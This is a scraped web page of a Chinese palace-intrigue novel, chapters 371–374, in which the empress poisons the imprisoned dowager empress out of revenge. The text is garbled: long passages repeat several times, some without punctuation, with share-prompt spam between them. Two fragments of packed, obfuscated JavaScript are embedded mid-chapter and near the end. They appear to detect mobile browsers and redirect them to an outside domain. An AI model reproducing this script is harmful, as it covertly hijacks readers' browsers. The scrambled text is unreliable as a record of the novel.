他欠欠的冷嘁,调笑道:“娘子想到哪里去了?真是不知羞,身为国母,脑袋里尽是上不得台面的东西。” 他把平日她用来指责他的话如数奉还。 云清婳没想到裴墨染会这么说,她半张着嘴,一时之间竟然被他怼得语塞了。 “那你想干嘛?放开!”她想收回脚,可铁钳般的大掌攥着她的脚踝不准。 话音刚落,她冰冷到血液不循环的脚感受到了一阵温暖,脚下是软绵绵的触感。 她垂眸一看,只见裴墨染掀开亵衣,将她双脚塞了进去。 第372章 她不信天,她就是天谴 冷如冰的脚丫就踩在他的腹肌上。 他抱着她的双脚。 她发自内里的体寒得有源源不断的热源暖着才行。 汤婆子里有热水他怕撒出来把她烫着暂时只能想到这个办法。 裴墨染的眉头拧成了川字显然他也被冻得难受但是强行忍着“困就睡吧。” 云清婳心安理得地闭上眼困意渐渐袭来半梦半醒间 他挤出一丝苦笑眼中盛着心疼。 从前蛮蛮的身子从未这么寒过。 这次她伤的太重了。 …… 翌日云清婳醒来时发现裴墨染靠在床尾睡着了。 他还滑稽地抱着她的脚。 感动吗? 她心里没太多感觉因为他这份真情现在可以对她将来也可以对别人。 人生漫漫后面的事谁说得准呢? 云清婳屈膝缓缓将脚从他的亵衣里收回来。 裴墨染登时被惊醒他警觉地握住她的脚踝触碰她的脚心确定她的双脚是暖和的才放心“醒了?” 云清婳的脚在他的腹肌上踩了几下还挺舒服“夫君不会一晚上都没睡吧?” 裴墨染没有回答他把她的脚塞进褥子里“一大清早的别乱撩。” 她觑了他一下“以后别这么傻了内务府有羊皮做的暖囊。” “我怕漏水烫到你。”他行云流水的下榻穿龙袍“等会儿我让太医给你开几副暖身的药方必不会让你受冻。” “我在解毒呢不能乱吃药你别为难太医了。”她的声音很轻透着虚弱。 裴墨染眼中的心疼不断加深。 …… 裴墨染的改革仍旧如火如荼地进行着正如黄雨绵当初说的那样裴墨染革了云苍鹤的丞相之职。 一切好似尘埃落定裴墨染登基后立即过河拆桥将云家釜底抽薪。 一时之间群臣都为云家唏嘘。 表面上看在云家是国丈对他们恭敬有加可实则态度轻慢从前门庭若市现在门可罗雀。 云夫人过寿哪怕云清婳带着承基、辞忧亲临也没几个官员亲自来贺寿。 割裂的是尽管如此裴墨染仍旧让云清婳不必担心承诺云家不会败落。 云清婳没有跟他怄气 这件事看似揭了过去。 宴席上都是自家人与亲信。 云褚陪孩子玩得不亦乐乎还承诺要给他们捉松鼠玩。 谢泽修自然也在。 云清婳交给了谢泽修一封信“表哥。” 谢泽修的眸子先是一亮随后透着茫然“蛮蛮这是……” “表哥回家再拆开看吧我知道表哥志向远大里面的东西你应该会喜欢。”云清婳拿起酒杯与他手里的相撞。 谢泽修的眉宇一厉一把夺过她手中的酒杯脸黑了下来“你身子未愈不许胡来。” “对蛮蛮你多喝汤。”云夫人红着眼给她盛了一碗鸡汤。 “吃些糕点也好。”云隽将芙蓉糕往她的面前推了推“你嫂子特意做的。” 显然所有人都在刻意避开**的事不谈。 云清婳的心中一片熨帖她捻着点心咬了一口欣喜地看向姜柔“嫂嫂做的芙蓉糕最好吃我都不想回宫了。” 姜柔弯起嘴角笑中带着心疼与担忧。 “爹爹跟哥哥可有接到什么风声?”云清婳问。 尽管她是穿书者可剧情早就被打乱走到这一步她也不会知道前路会发生什么。 云苍鹤捋着胡子年老睿智的眸中似乎藏着看透一切的通透“爹爹此生见过形形**许多人皇上虽然对云家下了手但我并未感到不善之意。” 云清婳也有同感她也没有感到裴墨染的恶意。 他此举更像是在声东击西藏着掖着让所有人都摸不准他。 “我们倒是无妨蛮蛮娘担心你。”云夫人泪眼婆娑她睁大了眼才没让眼泪落下“你一人在宫中举目无亲太后又鲁莽愚钝心狠手辣。” 云苍鹤搂着云夫人给她擦眼泪“夫人别担心了蛮蛮你还不知道?她能让自己吃亏?太后必会遭天谴!” 云清婳的眼神就像淬了毒手指缓缓蜷起“娘亲放心该害怕的人不是我。” 天谴? 她不信天她就是天 谴! …… 这次**的代价还是太大了。 云清婳虽然事先服用了解**,但还是伤了根基。 她的身子卓殊绝艳,表面看上去娇弱,但体力高于常人,身材更是恰到好处,多一分则过于丰腴,少一分则显得骨感,后面又吃药刻意调养成了极其易孕的体质。 此次伤了身,她的底子折损,变得十分怕冷,尽管裹着狐绒大氅,捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过,她尽管被包裹得像一个粽子,但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿,殿中早命人备了火炉,烧了地龙。 “主子,您日后一定要顾及自己。奴婢找爹拿了秘药,仔细调理着,韬养半年就能恢复。” 云清婳颔首,她勾勾飞霜的下巴,“我知道了。” 飞霜勉强地上弯嘴角,“也不知皇上究竟会如何对待云家。” “放心吧,就算裴墨染真无情,我手里也有翻盘的底气。飞霜,我身子能痊愈的事,一定要瞒着所有人,包括爹跟娘,千万不要让裴墨染知道。”她交代。 飞霜不明所以地点头。 云清婳的眼中闪过寒光,“我要让裴墨染愧疚,让他永远觉得亏欠于我!谁让他狠不下心做掉苏采薇呢?只能我亲自动手了。” “药已经做好了。”飞霜从袖中拿出一个瓷瓶,眼神透着幸灾乐祸与复仇的快感。 苏采薇,阎王已经在点你的名了! 你该死! “走吧。”云清婳想要实名制**。 她玩味地想,裴墨染拿她家人开刀,她也拿裴墨染的家人开刀。 很公平。 “去哪儿?”承基不知道从哪儿窜了出来。 辞忧跟小猴子似的爬上了云清婳的大腿,“娘亲,宝宝也要去。” 你的朋友正在书荒,快去帮帮他吧 谴! …… 这次**的代价还是太大了。 云清婳虽然事先服用了解**,但还是伤了根基。 她的身子卓殊绝艳,表面看上去娇弱,但体力高于常人,身材更是恰到好处,多一分则过于丰腴,少一分则显得骨感,后面又吃药刻意调养成了极其易孕的体质。 此次伤了身,她的底子折损,变得十分怕冷,尽管裹着狐绒大氅,捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过,她尽管被包裹得像一个粽子,但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿,殿中早命人备了火炉,烧了地龙。 “主子,您日后一定要顾及自己。奴婢找爹拿了秘药,仔细调理着,韬养半年就能恢复。” 云清婳颔首,她勾勾飞霜的下巴,“我知道了。” 飞霜勉强地上弯嘴角,“也不知皇上究竟会如何对待云家。” “放心吧,就算裴墨染真无情,我手里也有翻盘的底气。飞霜,我身子能痊愈的事,一定要瞒着所有人,包括爹跟娘,千万不要让裴墨染知道。”她交代。 飞霜不明所以地点头。 云清婳的眼中闪过寒光,“我要让裴墨染愧疚,让他永远觉得亏欠于我!谁让他狠不下心做掉苏采薇呢?只能我亲自动手了。” “药已经做好了。”飞霜从袖中拿出一个瓷瓶,眼神透着幸灾乐祸与复仇的快感。 苏采薇,阎王已经在点你的名了! 你该死! “走吧。”云清婳想要实名制**。 她玩味地想,裴墨染拿她家人开刀,她也拿裴墨染的家人开刀。 很公平。 “去哪儿?”承基不知道从哪儿窜了出来。 辞忧跟小猴子似的爬上了云清婳的大腿,“娘亲,宝宝也要去。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 谴! …… 这次**的代价还是太大了。 云清婳虽然事先服用了解**但还是伤了根基。 她的身子卓殊绝艳表面看上去娇弱但体力高于常人身材更是恰到好处多一分则过于丰腴少一分则显得骨感后面又吃药刻意调养成了极其易孕的体质。 此次伤了身她的底子折损变得十分怕冷尽管裹着狐绒大氅捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过她尽管被包裹得像一个粽子但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿殿中早命人备了火炉烧了地龙。 “主子您日后一定要顾及自己。奴婢找爹拿了秘药仔细调理着韬养半年就能恢复。” 云清婳颔首她勾勾飞霜的下巴“我知道了。” 飞霜勉强地上弯嘴角“也不知皇上究竟会如何对待云家。” “放心吧就算裴墨染真无情我手里也有翻盘的底气。飞霜我身子能痊愈的事一定要瞒着所有人包括爹跟娘千万不要让裴墨染知道。”她交代。 飞霜不明所以地点头。 云清婳的眼中闪过寒光“我要让裴墨染愧疚让他永远觉得亏欠于我!谁让他狠不下心做掉苏采薇呢?只能我亲自动手了。” “药已经做好了。”飞霜从袖中拿出一个瓷瓶眼神透着幸灾乐祸与复仇的快感。 苏采薇 你该死! “走吧。”云清婳想要实名制**。 她玩味地想裴墨染拿她家人开刀她也拿裴墨染的家人开刀。 很公平。 “去哪儿?”承基不知道从哪儿窜了出来。 辞忧跟小猴子似的爬上了云清婳的大腿“娘亲宝宝也要去。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 谴! …… 这次**的代价还是太大了。 云清婳虽然事先服用了解**,但还是伤了根基。 她的身子卓殊绝艳,表面看上去娇弱,但体力高于常人,身材更是恰到好处,多一分则过于丰腴,少一分则显得骨感,后面又吃药刻意调养成了极其易孕的体质。 此次伤了身,她的底子折损,变得十分怕冷,尽管裹着狐绒大氅,捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过,她尽管被包裹得像一个粽子,但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿,殿中早命人备了火炉,烧了地龙。 “主子,您日后一定要顾及自己。奴婢找爹拿了秘药,仔细调理着,韬养半年就能恢复。” 云清婳颔首,她勾勾飞霜的下巴,“我知道了。” 飞霜勉强地上弯嘴角,“也不知皇上究竟会如何对待云家。” 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此次伤了身,她的底子折损,变得十分怕冷,尽管裹着狐绒大氅,捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过,她尽管被包裹得像一个粽子,但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿,殿中早命人备了火炉,烧了地龙。 “主子,您日后一定要顾及自己。奴婢找爹拿了秘药,仔细调理着,韬养半年就能恢复。” 云清婳颔首,她勾勾飞霜的下巴,“我知道了。” 飞霜勉强地上弯嘴角,“也不知皇上究竟会如何对待云家。” “放心吧,就算裴墨染真无情,我手里也有翻盘的底气。飞霜,我身子能痊愈的事,一定要瞒着所有人,包括爹跟娘,千万不要让裴墨染知道。”她交代。 飞霜不明所以地点头。 云清婳的眼中闪过寒光,“我要让裴墨染愧疚,让他永远觉得亏欠于我!谁让他狠不下心做掉苏采薇呢?只能我亲自动手了。” “药已经做好了。”飞霜从袖中拿出一个瓷瓶,眼神透着幸灾乐祸与复仇的快感。 苏采薇,阎王已经在点你的名了! 你该死! “走吧。”云清婳想要实名制**。 她玩味地想,裴墨染拿她家人开刀,她也拿裴墨染的家人开刀。 很公平。 “去哪儿?”承基不知道从哪儿窜了出来。 辞忧跟小猴子似的爬上了云清婳的大腿,“娘亲,宝宝也要去。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 谴! …… 这次**的代价还是太大了。 云清婳虽然事先服用了解**,但还是伤了根基。 她的身子卓殊绝艳,表面看上去娇弱,但体力高于常人,身材更是恰到好处,多一分则过于丰腴,少一分则显得骨感,后面又吃药刻意调养成了极其易孕的体质。 此次伤了身,她的底子折损,变得十分怕冷,尽管裹着狐绒大氅,捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过,她尽管被包裹得像一个粽子,但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿,殿中早命人备了火炉,烧了地龙。 “主子,您日后一定要顾及自己。奴婢找爹拿了秘药,仔细调理着,韬养半年就能恢复。” 云清婳颔首,她勾勾飞霜的下巴,“我知道了。” 飞霜勉强地上弯嘴角,“也不知皇上究竟会如何对待云家。” “放心吧,就算裴墨染真无情,我手里也有翻盘的底气。飞霜,我身子能痊愈的事,一定要瞒着所有人,包括爹跟娘,千万不要让裴墨染知道。”她交代。 飞霜不明所以地点头。 云清婳的眼中闪过寒光,“我要让裴墨染愧疚,让他永远觉得亏欠于我!谁让他狠不下心做掉苏采薇呢?只能我亲自动手了。” “药已经做好了。”飞霜从袖中拿出一个瓷瓶,眼神透着幸灾乐祸与复仇的快感。 苏采薇,阎王已经在点你的名了! 你该死! “走吧。”云清婳想要实名制**。 她玩味地想,裴墨染拿她家人开刀,她也拿裴墨染的家人开刀。 很公平。 “去哪儿?”承基不知道从哪儿窜了出来。 辞忧跟小猴子似的爬上了云清婳的大腿,“娘亲,宝宝也要去。” 你的朋友正在书荒,快去帮帮他吧 谴! …… 这次**的代价还是太大了。 云清婳虽然事先服用了解**,但还是伤了根基。 她的身子卓殊绝艳,表面看上去娇弱,但体力高于常人,身材更是恰到好处,多一分则过于丰腴,少一分则显得骨感,后面又吃药刻意调养成了极其易孕的体质。 此次伤了身,她的底子折损,变得十分怕冷,尽管裹着狐绒大氅,捧着汤婆子站在风中还是感觉透心凉。 一阵寒风刮过,她尽管被包裹得像一个粽子,但还是忍不住打了个寒噤。 飞霜心疼地扶着她回寝殿,殿中早命人备了火炉,烧了地龙。 “主子,您日后一定要顾及自己。奴婢找爹拿了秘药,仔细调理着,韬养半年就能恢复。 云清婳颔首,她勾勾飞霜的下巴,“我知道了。 飞霜勉强地上弯嘴角,“也不知皇上究竟会如何对待云家。 “放心吧,就算裴墨染真无情,我手里也有翻盘的底气。飞霜,我身子能痊愈的事,一定要瞒着所有人,包括爹跟娘,千万不要让裴墨染知道。她交代。 飞霜不明所以地点头。 云清婳的眼中闪过寒光,“我要让裴墨染愧疚,让他永远觉得亏欠于我!谁让他狠不下心做掉苏采薇呢?只能我亲自动手了。 “药已经做好了。飞霜从袖中拿出一个瓷瓶,眼神透着幸灾乐祸与复仇的快感。 苏采薇,阎王已经在点你的名了! 你该死! “走吧。云清婳想要实名制**。 她玩味地想,裴墨染拿她家人开刀,她也拿裴墨染的家人开刀。 很公平。 “去哪儿?承基不知道从哪儿窜了出来。 辞忧跟小猴子似的爬上了云清婳的大腿,“娘亲,宝宝也要去。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第373章 蛮蛮亲自报仇 云清婳的脸僵硬了一瞬。 报仇这种事情,可不能带上两个小家伙。 她已经够不正常,总不能让孩子也变得不正常。 “娘亲是去做一件很没有意思的事情,你们不会喜欢的。”她捏捏辞忧的鼻子。 “唔……” 两个孩子瞪着圆溜溜的大眼睛狡黠地睨她,显然不信。 云清婳有些无奈。 孩子太聪明,果真不是好事。 “你们课业写了吗?”云清婳收起笑脸,眸子微沉,严肃地看着他们。 两个小包子登时心虚地垂下眼,“唔……” “快去写!写完了娘亲回来检查!”她的黛眉一横,不容置喙地说。 飞霜将胖乎乎的辞忧从云清婳的腿上抱下来,她柔声道:“公主,皇后娘娘身子不舒服,日后不可让娘娘抱了。” “娘亲……”辞忧的小脸上露出了几分被训斥的委屈、愧疚以及心疼。 承基也担心地看着云清婳。 算着日子,两个小家伙前些日子满了四岁,是该懂得心疼人了。 云清婳有些气虚,说话时,提不起声音。 她浅浅的莞尔,有气无力道:“娘亲只是生病了,乖乖吃饭、喝药就能好。所以你们要听奶娘的话,不能生病啊。” 两个小奶包重重颔首,就像是要把她的话铭记于心。 云清婳跟飞霜相视一笑。 …… 翊坤宫外围了重重士兵,戒备森严。 云清婳倚靠在坐在凤撵上,她肤白胜雪,凝脂般的肌肤像是剥了壳的鸡蛋,吹弹可破,美艳不失清纯的脸蛋上却少了血色,唇瓣粉中透着淡淡的白。 她一副西子捧心般病秧子美人的模样,尽管穿着明黄色凤袍,可身子薄得像一张纸,远远看去更是惹人怜惜。 “咳咳咳……”云清婳低声咳嗽,她紧了紧肩膀上的大氅。 凤撵后跟了十几个宫女,仪仗盛大地在翊坤宫门前停下。 凤撵落下,飞霜立即搀扶云清婳走下来。 “参见皇后娘娘。”所有士兵下跪行礼。 云清婳用帕子捂着嘴咳了咳,飞霜会意,“平身吧,皇后娘娘要进去探视。” 为首的士兵拧了下眉 ,可思索过后,他还是道:“奴才斗胆,敢问皇后娘娘可有陛下圣旨或者口谕? 飞霜的眉毛一凛,她斥道:“在后宫,皇后娘娘的懿旨不管用了吗? 士兵拱手道:“奴才不敢!只是皇上不准任何人进翊坤宫,奴才不敢抗旨,更不敢**。 “皇后娘娘跟皇上琴瑟和鸣,感情甚笃,娘娘岂是皇上口中的那些人?飞霜气势不减,陡然拔高声音。 “还请皇后娘娘恕罪,还请这位姑娘体谅,奴才也是…… “够了!云清婳的喉咙里缓缓滚出这两个字,她打断他的话。 她在飞霜耳边说了什么。 “是。飞霜的嘴角勾起一抹笑。 在众人不解的目光中,飞霜大喇喇地上前一步。 眨眼的功夫,飞霜扬起了手,狠狠甩了一巴掌下去。 啪—— 清脆的巴掌在宫道中清脆地回响。 紧接着又是耳光声。 **—— 那人的左边脸颊很快就印上了清晰的红色五指印。 他委屈地抬眼,看着云清婳。 云清婳眼中含着毫不动摇的坚冰,决绝无情,她板着脸,细长的黛眉更显得她不近人情。 “让开。她缓缓地吐出这两个字。 为首的士兵顿了顿,他垂下了脑袋,很快让开了身子。 后面的士兵随之让开一条道,甚至有人麻利地将门上锁打开了。 “哼!飞霜愤愤地冷哼一声。 这些人就是贱,不打不听话。 云清婳早就想在大众面前转变人设了。 正因为她以仁爱慈悲、宽厚大度闻名,以至于总有不怕死的后妃、奴才挑衅她、为难她,左右觉得她宽宏大量,就算得罪了她,也不会受到惩罚。 但是从今日起,她要立威,她不准任何人轻慢她丝毫。 哪怕是一个眼神都不行。 她睚眦必报! 都已经成为皇后了,她若是还忍,她真的要变成忍者神龟了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458810|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云清婳只带着飞霜跟几个亲信太监进去,命其他人在外面等着。 翊坤宫的奴才都被遣出宫或者分去其他宫了。 她踏进宫中,看见庭院的树、石 桌都被砍倒、砸坏才深切理解裴墨染口中的“吓唬一下”是什么意思。 他这次是真的怒了做得还挺绝。 但对她而言远远不够。 云清婳走进寝宫只见苏采薇披头散发地趴在地上她伸长一边胳膊在被砍掉半边门的纱橱下摸索着什么。 她原本保养得当的双手此时泛着黄干枯得像老树皮。 飞霜跟太监都鄙夷的瘪嘴都不禁怀疑苏采薇真的疯了。 云清婳的眼中闪过暗芒她的视线落在榻上被砍得四分五裂的点翠九龙四凤冠上。 上面原本镶嵌了几千颗小珍珠但现在半数珍珠都掉了。 凤冠旁还放着许多零零碎碎的小珍珠。 想必苏采薇在找寻剩下遗失散落的珍珠想要修复凤冠。 苏采薇一回头看到云清婳的瞬间吓得瘫坐在地上她猝然毛骨悚然。 啊—— “你你你……是来找哀家索命的?” 她面如纸色瞳孔紧缩因为清瘦脸不挂肉双颧外好像就包着一层皮看上去活脱脱像是女鬼。 飞霜啐道:“呸!皇后娘娘凤体安康定能长命百岁、千岁!什么索命?” “你……你……居然没死?”苏采薇眼中的惊恐很快被遗憾、愤恨取代。 原本裴墨染说云清婳没死她还以为裴墨染在自欺欺人没想到是真的。 “真是祸害遗千年!”苏采薇颤颤巍巍地从地上爬起来她挺着脖子怒目圆睁地挑衅的走上前。 云清婳一动不动平静地看着她“你都落得这番田地了还在乎这些身外之物?” 她轻扬下巴点了下榻上的凤冠。 这话嘲讽意味拉满如刀子在剜苏采薇的心脏。 苏采薇陡然尖叫:“你懂什么?凤冠是先帝对哀家的认可 “呵……”云清婳似乎被逗笑了她用帕子捂着嘴一副居高临下的模样“你说得对!四分五裂的凤冠的确跟你很配。” 第374章 实名制下毒 苏采薇的眼珠子都快瞪出来,就像受到了奇耻大辱,她扬起巴掌就往云清婳的脸上招呼。 云清婳的嘴角上扬,稳如泰山,一动不动。 巴掌带着轻微的风声,甩了下来,呼呼作响。 可苏采薇还来不及触碰到云清婳的脸,就被心腹太监福松扼住了手腕。 福松眯着眼瞥着苏采薇,眼中满是轻蔑。 一个快瘦成骷髅的疯妇还想打皇后娘娘,她也配? “太后神志不清,疯疯癫癫,喂她喝药吧。”云清婳的眼中绽出暗芒。 苏采薇的瞳仁一震,眼泪应声而落。 她想甩开福松挣扎逃走,可另一个太监立即桎梏住她的肩膀。 他们把苏采薇的双臂往后一拧,跟杀待宰的年猪似的,将她死死制服住。 “你敢!你谋害哀家,墨染不会放过你的!”苏采薇高声怒吼,神色挑衅,“哀家毕竟是墨染的生母,云清婳,你可要想清楚,害**哀家,墨染跟云澈会怎么看你?你之前伪装的一切都会前功尽弃!” “皇后毒杀太后,若是传出去,你的名声会如何?云家会如何?承基有你这个谋害祖母的母亲,他的皇位会如何?” 她每吐出一个字,云清婳的眼神就越发寒冷。 看! 人的潜力果然是无限的。 面对死亡时,苏采薇的脑筋都变得灵光了。 云清婳的鼻腔中发出了很轻的哼声,眼神轻蔑,她瞥了飞霜一眼。 “是。”飞霜从袖中取出一个蓝瓶,她拔开塞子,手法粗鲁地捏着苏采薇的脸。 苏采薇被迫张开嘴,飞霜将蓝瓶中的水一股脑倒了进去,然后抬了下苏采薇的下巴。 水顺着口腔进了她的喉管。 确定苏采薇将药水咽下后,两个太监才松开苏采薇。 苏采薇摇摇欲坠,她双膝一软,膝盖狠狠砸在地上。 可她顾不上疼,她趴在地上,用手抠着喉咙,牟足劲想要吐出药,可喉咙都被抠出血了,鼻涕、眼泪都出来了,也没有呕出来。 她嘴里的涎液形成黏腻的银线,十分恶心。 云清婳膈应的错开眼,眼神像在看极其腌臜的东西。 “别白费力气了,此药服下就会起效。” 云清婳居高临下的看着她,“你能想到的,本宫都想到了,放心吧,一时半会儿你死不了。 苏采薇又恨又怯地抬起眼皮看她,“这是慢性药? 云清婳大发慈悲的颔首。 “呜呜……**,**……你有种杀了我,你敢吗?苏采薇崩溃大骂。 云清婳弓下腰,一把抓住苏采薇脑后的头发,发扯着头皮,逼她抬头,“那你敢死吗? 她的嘴角扯出大大的弧度,杏眼中跳动着杀戮的兴奋。 这么癫狂的眼神让人为之一怔。 “…… 苏采薇毛骨悚然,面色惨白。 灵音说过,这个女人就是疯子,什么事都干得出来的。 她不敢再刺激。 云清婳松开手,拍了拍手上并不存在的灰尘,嘲弄地瞥了她一眼。 就像在看一个小丑。 她转身就走。 太监跟飞霜跟在她的身后。 “慢着!苏采薇的喉咙被抠破,声音沙哑得像乌鸦。 云清婳停住脚步。 “你为何非要与哀家为敌?哀家起初对你不错吧?即使对你上位多有阻拦,但何至于此?苏采薇发自内心的不解。 “你可还记得谢容音?云清婳并不想隐瞒,事到如今,已经没必要了。 苏采薇眯着眼思索了下,忽地,眸子紧缩。 她轻眨眨眼,“你跟谢容音是什么关系?谢容音**,关哀家什么事?她是**的! “呵……云清婳阴恻恻地笑了,“姐姐,你看,坏人做了坏事,是永远不会知错的!不过没关系,我会让他们一一谢罪! 飞霜的眼中噙着泪,“但凡你不轻**命,但凡你不视人命如蝼蚁,你也会调查一下谢小姐的身世背景,可你没有!所以你才不知皇后娘娘跟谢小姐是表姊妹。 苏采薇恍然大悟,似乎她听说过这件事,但是没在意。 “云清婳,你要报仇找错了人!谢容音是被辱才死的,你该去找**她的人!苏采薇又一脸鄙夷地侃侃而谈,“依哀家所见,谢容音若如传言一般是个好女子,就该自引而亡。 “她清白不保,活着也是败坏门楣,害谢家蒙羞,谢家女子难以出嫁。更何况,当 时她跟墨染还有婚约,她赖活着,是想让墨染接手她?若是墨染真娶了她,哪还轮得到你? “云清婳,你真是好歹不分! 云清婳的眼中燃起了熊熊火焰,这番话完全激怒了她。 她实在气不过,大步上前,甩了苏采薇一嘴巴,“闭嘴! 别看云清婳虚弱,但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去,苏采薇的鼻子都流血了。 苏采薇捂着鼻子,“你敢打哀家!哀家可是你的婆母。 “打的就是你!婆母算什么?你儿子、孙子我照打!云清婳的双眸赤红。 苏采薇喘着粗气,“你这个疯子!谢容音的死与哀家无关,你别像条疯狗一样到处乱咬! 云清婳在脑中把苏采薇幻想成砧板上的鱼,将她开膛破肚剐鳞,血流一地,才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风,顾笛风的死原本被瞒得好好的,是谁故意放出来,让满京皆知的? 苏采薇的眸子发飘,心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她,“你想装好人,不想提退婚,于是就想刺激姐姐,逼姐姐自尽。 他们三个罪魁祸首,没有串通勾结,但是一环套一环,环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死,若不是谢容音**,哪轮得到你?算起来,你今日的皇后之位还是哀家帮你铺的路。你该三跪九拜,感谢哀家的大恩大德才是。苏采薇越说眼神越坚定,似乎真的认可了自己的推论。 可是姐姐根本没想跟裴墨染成婚,姐姐准备私奔去找顾笛风的,而她也根本不想嫁进皇室…… 你的朋友正在书荒,快去帮帮他吧 时她跟墨染还有婚约,她赖活着,是想让墨染接手她?若是墨染真娶了她,哪还轮得到你? “云清婳,你真是好歹不分! 云清婳的眼中燃起了熊熊火焰,这番话完全激怒了她。 她实在气不过,大步上前,甩了苏采薇一嘴巴,“闭嘴! 别看云清婳虚弱,但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去,苏采薇的鼻子都流血了。 苏采薇捂着鼻子,“你敢打哀家!哀家可是你的婆母。 “打的就是你!婆母算什么?你儿子、孙子我照打! 苏采薇喘着粗气,“你这个疯子!谢容音的死与哀家无关,你别像条疯狗一样到处乱咬! 云清婳在脑中把苏采薇幻想成砧板上的鱼,将她开膛破肚剐鳞,血流一地,才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风,顾笛风的死原本被瞒得好好的,是谁故意放出来,让满京皆知的? 苏采薇的眸子发飘,心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她,“你想装好人,不想提退婚,于是就想刺激姐姐,逼姐姐自尽。 他们三个罪魁祸首,没有串通勾结,但是一环套一环,环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死,若不是谢容音**,哪轮得到你?算起来,你今日的皇后之位还是哀家帮你铺的路。你该三跪九拜,感谢哀家的大恩大德才是。苏采薇越说眼神越坚定,似乎真的认可了自己的推论。 可是姐姐根本没想跟裴墨染成婚,姐姐准备私奔去找顾笛风的,而她也根本不想嫁进皇室…… 听说看这本书的人都是很幸运的,分享后你的运气会更棒 时她跟墨染还有婚约,她赖活着,是想让墨染接手她?若是墨染真娶了她,哪还轮得到你?” “云清婳,你真是好歹不分!” 云清婳的眼中燃起了熊熊火焰,这番话完全激怒了她。 她实在气不过,大步上前,甩了苏采薇一嘴巴,“闭嘴!” 别看云清婳虚弱,但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去,苏采薇的鼻子都流血了。 苏采薇捂着鼻子,“你敢打哀家!哀家可是你的婆母。” “打的就是你!婆母算什么?你儿子、孙子我照打!”云清婳的双眸赤红。 苏采薇喘着粗气,“你这个疯子!谢容音的死与哀家无关,你别像条疯狗一样到处乱咬!” 云清婳在脑中把苏采薇幻想成砧板上的鱼,将她开膛破肚剐鳞,血流一地,才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风,顾笛风的死原本被瞒得好好的,是谁故意放出来,让满京皆知的?” 苏采薇的眸子发飘,心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她,“你想装好人,不想提退婚,于是就想刺激姐姐,逼姐姐自尽。” 他们三个罪魁祸首,没有串通勾结,但是一环套一环,环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死,若不是谢容音**,哪轮得到你?算起来,你今日的皇后之位还是哀家帮你铺的路。你该三跪九拜,感谢哀家的大恩大德才是。”苏采薇越说眼神越坚定,似乎真的认可了自己的推论。 可是姐姐根本没想跟裴墨染成婚,姐姐准备私奔去找顾笛风的,而她也根本不想嫁进皇室…… 你的朋友正在书荒,快去帮帮他吧 时她跟墨染还有婚约,她赖活着,是想让墨染接手她?若是墨染真娶了她,哪还轮得到你?” “云清婳,你真是好歹不分!” 云清婳的眼中燃起了熊熊火焰,这番话完全激怒了她。 她实在气不过,大步上前,甩了苏采薇一嘴巴,“闭嘴!” 别看云清婳虚弱,但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去,苏采薇的鼻子都流血了。 苏采薇捂着鼻子,“你敢打哀家!哀家可是你的婆母。” “打的就是你!婆母算什么?你儿子、孙子我照打!”云清婳的双眸赤红。 苏采薇喘着粗气,“你这个疯子!谢容音的死与哀家无关,你别像条疯狗一样到处乱咬!” 云清婳在脑中把苏采薇幻想成砧板上的鱼,将她开膛破肚剐鳞,血流一地,才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风,顾笛风的死原本被瞒得好好的,是谁故意放出来,让满京皆知的?” 苏采薇的眸子发飘,心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她,“你想装好人,不想提退婚,于是就想刺激姐姐,逼姐姐自尽。” 他们三个罪魁祸首,没有串通勾结,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 